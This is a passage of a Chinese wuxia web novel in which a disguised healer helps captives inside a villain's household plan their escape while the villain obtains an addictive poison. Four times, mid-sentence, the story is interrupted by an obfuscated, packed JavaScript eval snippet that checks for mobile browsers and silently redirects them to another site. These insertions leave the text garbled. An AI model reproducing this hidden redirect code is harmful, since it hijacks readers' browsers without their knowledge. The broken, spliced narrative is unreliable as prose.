骆雁声已有了计较,面上却仍做思考状:“这样吧,你们先在城里住一晚上,容我想一想。明早我有了决断,就会让家人去唤你们来。” 这下无需苏茂霖多言,黄昆立刻应承下来。 夜已深,客栈中所有人均已沉沉睡去,万籁俱寂,苏茂霖房中烛火也已经熄灭,但床上却没有人。忽然,窗格被人从屋外轻轻叩响,虽然只响了一声,但坐在边上的苏茂霖却已经打开了窗户。 窗外空空,楼下亦无人影。苏茂霖住在二楼,往上便是屋顶。他想了想,旋即越出窗子翻了上去。果不其然,骆雁声正在屋脊处等他。 “你是谁?手绳从哪里来的?”骆雁声没有废话,直接从关键处发问。 苏茂霖道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027806|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出自己的身份及紫璇被困、特地来南阳求他相助的前因后果。 骆雁声听罢,尚在思索:“所以,魏菘泽便是去岁以来有关天魄门各种事情的幕后黑手?” “不错。和我同来的黄昆正是他的手下,当着他的面我只能和先生打哑谜。” 骆雁声点头:“你已经说得很清楚了。”又问,“你刚刚还说,王三山王老前辈也被魏菘泽关了起来?” “不仅如此,魏菘泽还逼迫他研制一种能够使人上瘾的药物,据璇儿分析,他们极大可能是想用此物来控制江湖门派。一旦魏菘泽奸计得逞,后果难以预料。” 骆雁声终于明白为何紫璇请人专门来找他。这所谓能令人上瘾的药物,极有可能和木兰庄所用的是同一种。他研究过解毒的办法,即便王三山顶不住压力把方子交了出去,他或许还能有办法扭转乾坤。 话已至此,骆雁声便道:“事情我明白了,帮忙不难,关键是如何把人从重重守卫中救出来。还有,他们被困之事,文远骥可知道?” “正要请先生帮忙,遣人去给天魄门还有贺家庄送信,把魏家的准确位置告知于他们。” “这个好说,我派人去便是。” “除此之外,在下还有一个请求,” “什么事?” “还要往金陵长风镖局送一封信,让他们帮忙查一件事。” 翌日,黄昆果然收到了骆神医的回复,答应随他们去无锡走一趟。黄昆大喜过望,立刻叫大伙收拾行礼,当天便会同骆雁声一起往回赶。 苏茂霖使眼色询问骆雁声,他微不可察地点了一下头,暗示三封书信均已发出。 魏宅外,魏菘泽亲自出迎,可见他对这位“神医”寄予厚望。他原本计划这几日就要来无锡,正好温叔送信,说魏若琛的心疾或许有了希望,他便又早来了两日。 骆雁声闯荡江湖时,苏明启的几个徒弟中只有文远骥刚刚出师,不过他也从没见过骆雁声,更别说比文远骥还要年轻几岁的魏菘泽了。骆雁声被王三山所救后,一直隐形埋名,即便行走江湖也总是以各种不同的化名示人。他向魏菘泽自陈姓名骆不孤,魏菘泽很难联想到他就是和许淑平一齐位列“天目三英”的骆雁声。 魏菘泽以贵客之礼接待了远来的他,他也只是淡淡的,表示病人为大,与其做这些虚礼,不如早些让他先看看求治的年轻人。这便更像是一个世外高人的模样,魏菘泽求之不得,立刻带着他一起去到魏若琛的住处。苏茂霖跟着,温叔也派人将桑大夫一同请来。 骆雁声望闻问切一番,已知魏若琛的病拖得太久,之前的大夫诊断并无任何不妥,说不好今年之内他便要撒手人寰。可看魏菘泽的模样,即便几个大夫都这样说,他还是不愿意相信,一心要为儿子找到续命之法。 于是,骆雁声也不说破,只告诉魏菘泽,令郎情况不太好,但还没有到山穷水尽的地步。他愿意一试,但不保证结果。 魏菘泽立刻应道:“只要神医肯出手,我儿就一定有希望!” 接下来斟酌医治的法子,骆雁声肯定了苏茂霖之前提出的方子,又在他的基础上增减了几味药材。魏若琛吃下后,果然觉得身子松快了不少。这下魏菘泽更将骆雁声视为神明一般,每日加意奉承,凡是骆雁声提出来的要求无有不依。 177. 哑谜(二) 与此同时,王三山也没有坐以待毙。瑾瑜向他传话说紫璇会想办法救他之后,他便越发“配合”起魏菘泽制药的要求。 先是,温叔以他分析出的迷药成分,尝试制了几次,都不太成功。又来请教王三山,王三山趁势指出,炼制药物除了配方和手段,药炉的温度、添加药材的时机、手法等等细节皆需有经验的人守在一旁。还讽刺他找的制毒师傅水平低,领会不了他给的方子的真谛,这才炼不出来。 温叔无奈,征询过魏菘泽的意见之后,不得不将王三山从牢里接了出来,让他和章煦亲自负责药物的炼制。 王三山趁热打铁,还要求温叔找人来医治章煦的腿,务必让他能恢复到行走自如的状态。此时已到了毒药炼制最关键的阶段,温叔不敢开罪于他,立刻应承下来。 桑大夫来过两次,用汤药辅之以针灸之法为章煦治疗,收效不佳。王三山便发了脾气,让温叔再送好的大夫来,否则他不会再为他们办事,大不了就是他们师徒俩一起死在这里便了。 之前派桑大夫前去,正是在苏茂霖外出的时节,并非温叔有意。苏茂霖一回来,温叔便向他说明了庄中有个紧要的人需请他去看。 苏茂霖瞧了章煦的伤势,摇头道:“这伤有些时日了,骨头接的虽好,但下三焦的经脉受阻,这才导致跛足。如果桑大夫看了都没有什么办法,我就更加不知道该怎么对症下药了。还需得医道更加高明之人来瞧才行。” 他这样说,便是要请骆雁声来的意思。温叔只好舔着脸去求骆雁声,好在他虽然冷谈,但对病者却格外宽容,但凡是找上门的从不拒绝,温叔没费多少口舌就请动了他。 于是,原本只是想和瑾瑜口中那位潜伏在魏菘泽身边的苏明启亲子见一面的王三山,最终居然等来了这位多年未见的后生。 见到骆雁声,王三山没能掩盖住一瞬间的惊讶,被同来的温叔看在了眼里。 相反,骆雁声非常镇定,立刻上前行礼,口称:“晚辈骆不孤,见过王老前辈。此间主人请我来看一个病患,没想到竟会是王老前辈。” 王三山随即反应过来,夸张地吹着山羊胡子:“你小子,这么些年跑哪去了?” “晚辈不惯于庶务,便躲到老家过闲云野鹤的日子。” 温叔意外于两人竟然相识,探询的眼神立刻落到了骆雁声身上:“原来神医还认识王老前辈?” “年少时我随师父上三清山采药,和王老前辈有一面之缘。王老前辈于各种草木的药理极为熟悉,令晚辈获益不少。算起来这已经是三十年多前的事情了,一晃半生,王老前辈竟然还如此硬朗,真是令晚辈欣喜。” “硬朗什么!老了老了还过不了几天消停日子,一把老骨头任人磋磨。” 温叔赶忙咳嗽一声,在他说出旁的之前打断他:“我家老爷请王老前辈来有要事相商。也怪我办事不够牢靠,竟没有提前考虑到王老前辈年事已高,经不起舟车劳顿这件事。” 他这样说,算是把王三山刚刚所说的话圆了回去。王三山哼了一声,不再埋怨,而是指着坐在一旁的章煦:“骆家小子,我没病,不用你治,他的腿有问题,你快去给他瞧瞧。” 骆雁声在他面前很是恭顺,立刻听话地挪至章煦身侧。 “这腿之前被人打断过,还是不超过三个月新伤。”骆雁声边看边说。 温叔略微尴尬,不敢应声。王三山坐在对侧的椅子上,少不了要白他一眼。 “不过断骨已经接上了,如今的问题似乎源自于养伤的时候不够仔细,以至于气血瘀滞于下三焦,落下了病根。想必你走路有些不便,我说的不错吧?”骆雁声问章珣。 章煦点头,佩服他眼光毒辣,只看了几眼就把他受伤的情形说得八九不离十。 温叔听他和桑大夫及苏茂霖说得大差不差,担心骆雁声也会束手无策,随即问道:“那如今还治得了吗?” “有些难,不过我可以试一试针灸推拿之法,或许能把病根去上个五六分,这样这位小哥跛足的症状便可减轻不少,日后好好保养也就是了。” 温叔点头:“如此甚好,不知神医需要我等作何准备?” “最要紧的,是让这位小哥好生休养,少活动,同时绝不能在阴湿之处久待。” 至于饮食上的禁忌、所用的药材、物品等,骆雁声详详细细地开列了一个方子,让温叔办来。 温叔刚领着骆雁声和苏茂霖从王三山所住的别院出来,魏若琛的小厮便急匆匆赶到,说少爷在花园散心时突感心口疼痛,求神医赶紧过去瞧一瞧。 众人随小厮到达花园时,魏若琛好端端地安坐在轮椅上,并无病容,而且噙着盈盈笑意,正在看紫璇舞剑。 紫璇放弃抵抗时,已将那把双股剑交了出去,但她现在已有了逃跑的计划,不能没有武器。她便先以寒症新愈,需要锻炼以恢复体力为名获得了在花园自由活动的权力。继而哄骗魏若琛,自己新得了一套剑法,刚学了几招,被关在这里煞是无趣,极其想要练剑,魏若琛便求父亲将紫璇的佩剑送还给她。 如此,紫璇每日会和魏若琛在花园里呆上一两个时辰,她以练剑为名仔细观察着花园附近的布防状况。而魏若琛身体很差,在紫璇的陪伴下最多能走上半个时辰,其余时候就会晒着太阳欣赏紫璇的剑法。 紫璇的内力精进不少,但此刻身在狼窝,显得武功高强只会增加敌人的防备,故而她在练剑时只出招式,不用内力,轻飘飘的如同跳舞一般。魏若琛不懂武术,看到这些只觉得极美,虽然少了和紫璇说话的时间,他也不觉得无聊。 更可况,自从可以练武后紫璇的气色和心情都明显比之前好了许多,看到她如此,魏若琛的病势仿佛也跟着缓和了下来,不像之前那般虚弱。突然之间,他明白了齐雅雯所说的话,看到她好,自己能也生出欢喜。 只可惜,父亲不同意放走紫璇,把剑要回来,已经是他能够为她做的最大的事了。 前一日,他和紫璇说起宅中新来了一位姓“骆”的神医,医术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036833|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高明,他的身体已然好了些许,说不定他真的有办法疗愈自己的心疾。这番话牵动了紫璇的心弦,她便也提起自己寒症难愈,必当早逝的事情,魏若琛便有意让神医给紫璇也来瞧瞧。 谁知温叔并不同意,至于理由则支支吾吾,说什么神医远来,光救他已经耗费了不少心力,再让他瞧另外的重症不合时宜。 无奈之下魏若琛才动了先斩后奏的心思,故意在每日和紫璇独处的时候,假作不舒服,让小厮即刻去寻骆神医。温叔见到如此景象,自然明白魏若琛在耍什么把戏。只是如今再去阻拦必然显得刻意,且毫无用处,只能默默退后,仔细留意着骆雁声和紫璇的反应。 骆雁声装作不明就里,还真以为魏若琛有什么不愈,抓起他的手腕便要摸脉。魏若琛却将手抽回笼在袖中,向骆雁声道:“多谢神医,我没事。” 骆雁声将手背起,神情透出不耐烦:“那你差人唤我来做什么?” “这位姑娘宿有寒症,离上一次发病才过去十天,这一向也总是不舒服,能不能麻烦您也给她看一看?” 骆雁声这才发觉他的身后还有一个女子,他先瞧了一眼紫璇的面容,然后道:“泛白的脸色上又透出潮红,额上还有薄汗,有些寒症发烧的样子。” 其实,紫璇只是因为刚练完剑,身上气血涌动,这才额头出汗、双颊泛红。 骆雁声又让她伸出手来。前番在贺家时,为了内力冲突的症状,他给紫璇诊过一次脉,可仅仅过去四个多月,她的脉象竟与之前有了很大的不同,骆雁声不由得吃了一惊,只是此刻却不能发问,而是假装点头道:“的确是阴盛阳虚之相,且迁延多年,这病不易治啊。” 紫璇闻言将手收回,低着头,声音有些落寞:“劳神医费心了,魏公子说您医道高,我便起了贪念,想着或许……没关系,我这样也挺好的。” “寒症迁延得越久,越容易沉疴难起。你的病想治好不容易,但缓解缓解症状让人好受一些并不难。我话都还没说完,你还是个小姑娘,年纪轻轻的干什么这么灰心?”骆雁声轻斥道。 紫璇这才有了点欣喜的意思:“神医的意思是,还有救?” “不好说,我尽力一试。” 紫璇刚要拜谢,骆雁声又道:“像你这样每日活动活动筋骨,发发汗,对寒症就很有好处。魏公子也要这样多动一动。” 魏若琛立刻答应。 “姑娘的病状我知道了,过后开个方子给你,你先吃几贴试试。三日之后我再来给你诊一次脉,再看下一步要怎样办,如何?” 紫璇不答话,魏若琛用眼睛觑着温叔。 温叔被他看得尴尬,马上道:“神医开出方子来交给在下便可,我让下人一并去开。至于复诊的事,在下也会安排妥当。” 魏若琛满意极了,飞了一个笑眼给紫璇。 骆雁声点了点头,转身邀上一直没有出声的苏茂霖,出了花园。温叔最后看了一眼喜笑颜开正和魏若琛说话的紫璇,立刻跟了上去。 178. 谋算(一) 这样一来,除了仍在牢狱中的瑾瑜和齐雅雯,王三山和紫璇两边骆雁声都能以问病为名定期见面,只要小心些,总能相互传递几句消息,兼商量出逃的计划。局面比之前大大改善,紫璇的心境也安稳了不少。 魏宅之中,还有另一个人的心情进来也非常不错,这个人便是魏菘泽。 一来,这一次终于找到了真正的神医,爱子的病势有所好转,之前那些庸医所谓活不过的今年的屁话通通被击破。 二来,卢金良那边也来了消息,说藏宝图已经有了眉目。只要接下来的计划成功,文远骥和许淑平殒命,圣女和藏宝图又都掌握在自己手上,重开秘宝指日可待,自己筹谋了二十多年的计划终将成功。 不过不到最后一刻就还存在着变数,他并不敢有一丝懈怠,每日除了晨起时去看一眼儿子,问问他的情况之外,大部分时间都窝在隔壁倪家庄,和属下谋划后续的几件大事。 其中之一便是要尽早拿到王三山负责研制的药物。王三山不愿为虎作伥,便一直拖着,炼药之时诸多挑剔,不是烧炉子的炭火不合要求,便是用的药材有些问题,搞得温叔烦不胜烦,最后不得不下了最后通牒,告诉他如果不能在十日内制出魏菘泽所需药物,章煦就得死。 章煦的腿用药经针好几次,却还是没有起色,王三山本就在气头上,温叔的威胁只能是火上浇油,他破口大骂所谓的骆神医是骗子,顺便也骂魏菘泽故意骗他能治好章煦,就是想让他老头子给他卖命。说不只你会要挟,老子也会:要是治不好章煦,他情愿一起死也绝不妥协,除非章煦的腿好了,要不然我决不会再踏进丹房一步。 温叔无奈,又派人去请骆雁声。骆雁声赶到王三山住处的时候,他还在骂人摔碗,温叔拦都拦不住。 骆雁声微微一笑,将温叔往外面一拉:“温管家,让我来劝吧。”然后独个儿进入房中,向着骂声连连的王三山行礼。 “你个庸医,还来做什么!”王三山见来的是他,当即斥道。 “王老前辈先不要置气,听晚辈一言如何?” 王三山吹着胡子瞪着眼:“若治不好我的徒弟,你最好什么都别说!” “晚辈敢问,王老爷子要炼制一副毒药,所费几日?” 王三山被他的问题弄懵了,怎么不是说章煦的腿? “门外汉!炼毒哪能说得准?自然是有快有慢了!蛇毒杀了蛇自然立时就有,草木中的毒素要提炼往往花费数十日,你让我们怎么答你?” “晚辈虽然毒理欠通,但治病救人和炼毒不过是一线之差。有些病当日吃下药去便能好,有些病却要悉心调养,费上十年八年才能有所缓解。令徒的腿原本只要医治及时,的确不难,可耽搁了这么长时间,若想养好,岂是三五日就能达成的?王老前辈细想,我说的可有些道理?” 王三山听了,又摔了一个茶杯,骂道:“那就是魏菘泽这个狗东西的错了!?” “谁是谁非晚辈无从知晓,也不关心。我只清楚令徒的腿并非医不好的痼疾,只是需要时日,若王老前辈总是这样任性使气,于事无补。” “那要多少天?!我……我怕魏家的人骗我!我必须得先看到我徒弟的腿好了才能给他魏菘泽炼药,否则休想!” 骆雁声将激动不已王三山扶到里间的椅子上,一只手还在他的背上拍打以消解他的怒气:“前辈与此间主人的恩怨我无从置喙,我只想告诉老前辈,有我在,令徒的腿伤绝对医得好,你只要相信晚辈便好。” 他的言语和动作果然起了效果,王三山不再骂骂咧咧,而是盯着他的眼睛,有些不确信地问:“你真的有办法?” “有,药方子已经定下,只等药到病除。”骆雁声也看着他的眼睛回应。 王三山这才点了两下头,又握住他的手:“我只有这么一个徒弟,就和亲儿子一样,你务必要小心在意,让他下半辈子可以自由来去。” “我保证。” 安抚住了王三山,骆雁声再度出门,会同一直守在门口的温叔,去给住在另一间房的章煦看伤。 王三山谨慎地瞅了一眼外面,确认无人窥伺后,快速从后腰里拽出一个纸条,打开来看过后立刻合上塞入怀中,预备一会儿去丹房的时候扔到药炉里烧掉。 这一日往后,王三山不再发脾气,也不再找借口拖赖,又调了两次配方后,终于赶在十日的期限内制成了满足魏菘泽要求的毒药。 和木兰庄中所有类似,药分子母。母为噬魂散,用法变得越发简便,从掺入蜡烛、香炉烧灼来迷晕人改为可溶于水的白色粉末,自然也更加隐蔽。子为摄魂丹,可以暂时缓解因服用噬魂散而导致的无法用力的症状,药效也延长至了十个时辰。但十个时辰后不服下新的药丸,中毒之人便会在三日内必死无疑。 魏菘泽大喜过望,亲自看着人试药。服下噬魂散之人若非用力或动武,单单只是坐卧如常则很难发觉自己中了毒。只要吃下摄魂丹,中毒之人立刻能跑能跳,且力道甚于往昔。有了这样东西,武林江湖中能被他驱策的人何止百十。 全盘计划中的关键之物已经完成,魏菘泽立刻着人把吴宏叫来。 “许淑平出发了吗?” “已经出发了。一得知我们的所在,她马上就写信给文远骥,然后收拾了一下便立刻带着人出发了。” “很好。”魏菘泽嘴角微微翘起,“太白山那边有什么动静?” “我们的人渗透不到山上,里面的情形暂时未知。但只要有人出山,属下必然能第一时间得报。想来文远骥收到贺家庄来信,必定也会即刻启程东来。 “那是自然,圣女被抓,他岂敢耽搁。” 回想起这位多年未见的故人,魏菘泽眼中精光大盛,文远骥啊文远骥,十八年了,我二人也该分出个胜负了。 他将封好的第一批药递给吴宏,“把这个想办法交给你们少主,他知道用途。一切行动务必要小心谨慎,莫要耽误大事!” “属下明白,请主人放心。” 吴宏走后,温叔到了,他弓着半个身子向魏菘泽行了礼:“老爷您找我?” “宅子那边如何?” “骆神医还是隔几日便会去王三山和圣女处诊脉,不过说的都是治病的话,并无其他言语。除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044315|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此之外,他们都很安分,也从不踏出该有的行动范围之外。” “苏茂霖呢?” “自骆神医来了以后,他就只负责按神医的吩咐准备各项药材,一项独来独往,不与其他人接触。” “和那个丫头也没有?” “没有。他将文远骥认作仇人,对圣女极为冷谈,如今有了骆神医,他就更有理由不去给圣女诊脉了。” 魏菘泽目光幽深,点了点头,没再说话。 温叔这才道:“还有一件事,需请老爷的示下。” “说。” “今早骆神医开的方子有些问题。” “怎么回事?” 魏若琛在骆雁声的医治下,身体好转,每晚惊醒的次数少了,心虚的毛病也好了不少。今日魏菘泽去看儿子的时候,正好遇到骆雁声诊脉,他当场便说前些日子的药虽然吃着不错,但若要更进一步,需得换个方子。 医者随病人的病情变化灵活调方增减药物并就是寻常之事,魏菘泽的儿子病了二十来年,自己见过的大夫少说也有二十个,自然不会有什么异议,便让温叔按医嘱去办。 方子开出来,温叔如往常一样,着人到往日一直光顾的药铺里抓药,却被掌柜的告知,药方中有一味药他们拿不出来。 “什么药?要是他们家没有,你便派人去金陵找。” “掌柜的亲自来同我说,那不是药材,凡是药材行,恐怕都找不到这一样东西。” “不是药材,那骆神医为什么要用它?”魏菘泽眉头皱起,已起了疑心。 “骆神医想要的,是新鲜活着的癞蛤蟆。我仔细问过,那物虽不是现成的药材,但却是药材的来源。医书所载,癞蛤蟆自身泌出的粘液有毒,需经过收集炼制做成蟾酥才可入药,有强心健体、化瘀止痛的功效。大夫们开药一般都只写蟾酥二字,罕少有人直接找癞蛤蟆来入药的。”温叔持重谨慎,料想了魏菘泽可能会有的疑问,早早做好了准备。 “那你去问了骆神医没有,他怎么说?” “骆神医说,蟾酥经过炮制,虽能将毒性降低、不害本体,但药性自然也会打一打折扣。少爷的身子经过前一项的将养,已经强健不少,此时正是要用重药的时候,若因为过于谨慎使得药力不足,反倒容易丢了医治心疾的良机。” “那毒性呢,如何规避,神医可有说?” “方子里有与之对应的药材,可解其毒。” “苏茂霖和桑大夫他们呢,他们有没有异议?” “苏茂霖对骆神医极为信服,自然不反对。桑大夫用药谨慎,还是担心直接用蟾蜍的□□有危险,但也认为骆神医说法有些道理。” 魏崧泽斟酌片刻,又问,“既然和毒有关,你没想着问问王三山?” “这……”温叔不解地看着自己的主人。 “毒理药理一脉相承,王三山虽是制毒大家,但也凭着自己道行救过不少人,对于一些带毒的药材,恐怕比寻常医者还要精通。此事问他最合适不过了。” 温叔明白了,这就要退下。魏菘泽却拦住他:“你把他请来,我亲自问。” 179. 谋算(二) 王三山来的时候,仍旧是一副不情不愿的模样。魏菘泽要讨好他,便亲自在屋外迎接,还给他行了拜见长辈的大礼。可王三山不理不睬,仿佛他的刻意示好都不过是空气和幻象。 “你要的毒已经炼成,我每日还要守着药炉给你造出大批新药,忙得很,没工夫和你废话叫!”王三山眼睛斜向屋顶,没好气道。 魏菘泽不以为忤,再开口反而极尽真诚:“此番药成,王老前辈居功至伟,待事情一了,晚辈定当置办大礼,一向王老前辈谢恩,二也要向您请罪。” 王三山可不买他的账:“哼!”你把我抓来的时候,怎么不客气点?现在说这些,当我是三岁小儿吗?“ 魏菘泽面露惭色:“老前辈骂得对。犬子年轻,不暗人情世故,听说我有些毒物毒理的事情要请教,又苦于找不到合适的人,恰好在去岁武林大会上听说了老前辈威名,这才出此下策。望老前辈念在犬子一片孝心,原谅他行事过于莽撞罢。” “笑话!你是他老子,没有你的授意他敢这么干?” “前辈说得是,追根究底还是我的不是,晚辈前一项又忙于外务,实在不知家中下人竟然将老前辈一直关押于牢中,未曾好生侍奉。这又是另一番过错,实属不该。我回来后一听说这件事,立刻就骂了他们,叫赶紧整治个舒服的住处,把您老挪出来,不必受那牢狱里的闷气。还有您的爱徒,骆神医医术精湛,他必然能医好他的腿脚,您不必担心。” “话说得好听,好像我如今能自由走动,不受闷气似地!” “实不相瞒。前辈是当世之中最通毒性的人,晚辈还有些事情要向您请教,这才将您留住。待日后晚辈大功告成,不但要恭恭敬敬地将您送回三清山,还会满足您老的一切要求。“ “大功?”王三山冷笑道,“你还能有什么功绩,无非是再多害几个人罢了!” 他的嫌弃奚落魏菘泽并不在意,眼下又更紧要的事要和他请教。 “王老前辈可曾听说过天魄门有一处百年秘宝,家师穷其半身心血只为了找到它。” “你们闹了快二十年,老头子就是不想知道也得知道。”王三山说着又甩过来一个白眼。 魏菘泽点头,似乎很满意他的答复:“我想求前辈赐教的,正是这处宝藏。” 王三山猛地回头,眼睛瞪得老大:“你们天魄门的宝藏,来问我干什么!我又不知道它在哪儿!” “这是当然,”魏菘泽不疾不徐说道,“但要开启这处宝藏,就用得上您老的本事了。” 这话引起了王三山的兴趣,他的身子明显向魏菘泽所在的方向倾斜了一点儿,等着他的下文。 “家师幸苦数年,终于自天魄门旧藏的典籍中找出了藏宝图,还曾带人去探访了藏宝之地。据我所知,宝藏藏于秦岭的一处山洞中,无数毒虫毒蛇繁衍生息,守住了宝藏。若要进洞寻宝,就需具备通过这些特别守卫的能力。” 话说到这里,王三山自然明白,他要的是自己找出对付这些毒物的办法,好帮助他顺利接近宝藏。可他就是要给魏菘泽添堵。 “这藏宝洞,天魄门的创派祖师进去过,你师父也进去过,说明早就有了破解的办法,你不去搜索天魄门的典籍,反而来找我,这般舍近求远,看着可不太聪明啊。” 魏菘泽微微一笑:“老前辈所言不错。天魄门的传说中自然也有如何突破屏障接近宝藏的方法。晚辈此举只是想再多一重保障。如若传说中的办法不可行,不就得回归本源,杀了这些毒蛇毒虫了事么?王老前辈自诩‘毒王’,总不会没有办法对付这些东西吧?” “哼!少来激我,老头子的名声不是你说上几句诋毁的话就能消磨的。” “这个晚辈当然相信,否则也不会拼着得罪您老人家也硬要将您留在此处了。” “这么说,藏宝图你已经有了着落了?”王三山话锋一转,突然问起寻宝的另一个关键。 藏宝图,江湖上人人关心,魏菘泽对他的问题并未感到不妥,而是略带了得意道:“晚辈的事,就不劳前辈您来操心了。前辈只需帮我想一想这些毒物的应对之法便可。” 王三山又瞪了他一眼,魏菘泽也不催促,静静地看着他,威慑之意尽显。 “世上毒物何止万千,能守护宝藏的更是非同一般,普通能解百毒的药丸不一定有用。你想让我动脑子,最起码得先让我我知道是什么毒虫毒蛇吧。” “老前辈的意思是说,只要您知道毒物为何,就能研制出对应的解药?” 魏菘泽虽然淡定,但王三山仍能感受到这些问题中的迫切,他犹豫片刻才道:“万物相生相克,有毒素就必然有解法。老头子虽然长于草木之毒,这虫蛇毒却也不一定会难得倒我。” 魏菘泽刚有一点喜色,他马上又说:“不过,研制解药没有你们这些外行想得那般容易,碰上古灵精怪的,就算是老头子亲自出马,怕也要花上个一年半载。我把话说在前头,免得你到时候又要打断这个的腿那个的胳膊的,好生没趣!” 失望只在魏菘泽脸色出现了一瞬,他随即点点头,认可道:“前辈坦率,晚辈受教。这些事将来还得借您的力,如今就请老爷子耐心些,在我这里多住些时日罢。 王三山无声地骂了一句,脸色越发难看:“那老头子我现在能走了吗,丹房里就我徒儿一个,若倒了灶可不妙。” “还有一事,想和前辈请教。” “有屁就快放。” “蟾蜍身上的粘液也是一种毒物,它的毒性如何?如要入药可需注意些什么?” “你是说蟾酥?” “不是蟾酥,是被制成蟾酥之前,活蟾蜍分泌的粘液。” 王三山捋着胡子,自进来后第一次点了点头:“能想到以蟾蜍的粘液入药,倒不算是个庸才。” 魏菘泽眉毛一扬:“怎么说?” “癞蛤蟆身上泌出的白色浆液有毒,寻常人根本不敢用它入药,只敢在炮制降毒后制成蟾酥,配合其他药物,治些疔疮、痈疽之类的小疾。” “那不然呢?”魏菘泽听得认真,马上又问。 “此物虽然有毒,但可以强心化瘀,若遇有心脉疲弱,心血不畅的毛病,取新鲜蟾蜍的粘液入药极有效用。只是一般的庸医不敢罢了。” “可它毕竟是毒,贸然用在药中,不会有害病体吗?” “有些东西,你吃下去是毒,对另一些人却是药!”说到自己专精之事,王三山容不得半点质疑,立刻振振有词道,“怎可一概而论!再者,毒物入药,自然有与之相佐的药材来平衡他的毒性,只有本事不到家的人才前怕狼后怕虎,一味小心,弄些不温不火的药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055998|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来隔靴搔痒,连实则耽误了病情都不知道。是药三分毒,要是那么怕被毒死,那最好什么药也别吃,直接等死好了!” 魏菘泽重重点了几下头,起身再向王三山行礼:“老前辈就是老前辈,见地不凡,晚辈受教。” 温叔遣人将王三山送走,自己留下来继续等魏菘泽的指示。 “那个丫头的情况呢?” “除了每日练剑,其他并无异常。” “婚礼准备得如何?” “老爷放心,自少爷身体好转,一应准备都在抓紧,必不会误了时日。另外,照您的吩咐,请柬也都发出去了。” “很好。”魏菘泽露出志在必得的笑,让温叔唤黄昆来。 黄昆自南阳回来以后,就被交代了极其机密的任务,一直在倪家庄进出忙碌。 “让你做的布置现如今如何了?”魏菘泽叫他来,就是想问一问目前的进度。 “主人大可以放心,一切有条不紊,保证让他们有来无回。” ******************** 骆雁声开的新方子需用新鲜蟾蜍,每日收集其粘液入药。魏宅的采办通过药行,打听到了一户专门以捕蟾蜍等活物为生的人家。 蟾蜍行动灵活,且外表有毒,轻易无人敢抓。可念在它身上多处可以入药,便也有不少人户练就了专门的技能,以用迷药喂养的蜗牛为诱饵专在泥滩水渠捕获蟾蜍,还能不为其所伤。 为了确保药材堪用,骆雁声提出要先验一验货再下定。温叔也觉得这是应该的,只是魏宅中如今情势复杂,轻易不能让闲杂人等入内,得知那户人家有个女儿,便指示采办只准让她来送货。 骆雁声被下人们带至前院,乐青澜正等在那里。她打扮成无锡左近农家女的模样,说话甚至还带着一点乡音。 “伲(我们)家的癞蛤蟆是最大最能跳的,唔笃(你们)找伲就对啦。” 骆雁声微微笑道:“小姑娘,好不好可不是你说了算。”继而伸手打开乐青澜承装蟾蜍的竹篮,瞧了一眼,又小心蹭了一点蟾蜍耳后的粘液,凑到鼻子前看了看又闻了闻,最后道:“小姑娘倒不曾骗人,这蟾蜍的确新鲜。” “倷(你)是个爽气的人!” “只是我要得很多,不知道你们家供不供得起?” “倷只管讲来,包你适意!” “那好,我共要一百只,但需分批。你每隔一天便送来十只,能办到吗?” 乐青澜瞪着眼睛点点头,又问“银钱如何算?” 一旁的温叔立刻应声:“钱不是问题,你只管按大夫的要求送来便了。” 乐青澜立刻眉开眼笑,朝着在场的人不住行礼:“多谢相公!” 乐青澜演技极好,除了扮作农家女,每次来的时候还总会闹一点笑话,不是好奇地询问主人家宅子是不是和皇宫一样大,就是摸摸这里瞧瞧那里,有一回还打翻了一个插花的梅瓶。 温叔看着她不通世故的模样也没有过分为难她,只让她以后小心,不可再动手动脚的,下不为例。 这样一个女子,自然不会引起魏宅中人的警惕,殊不知她隔日进出,带来蟾蜍的同时也会捎带进来外面的消息。譬如,魏宅外的布局和守卫情况,又如天魄门和长风镖局的人已经出发,不日将到达无锡。 180. 龃龉 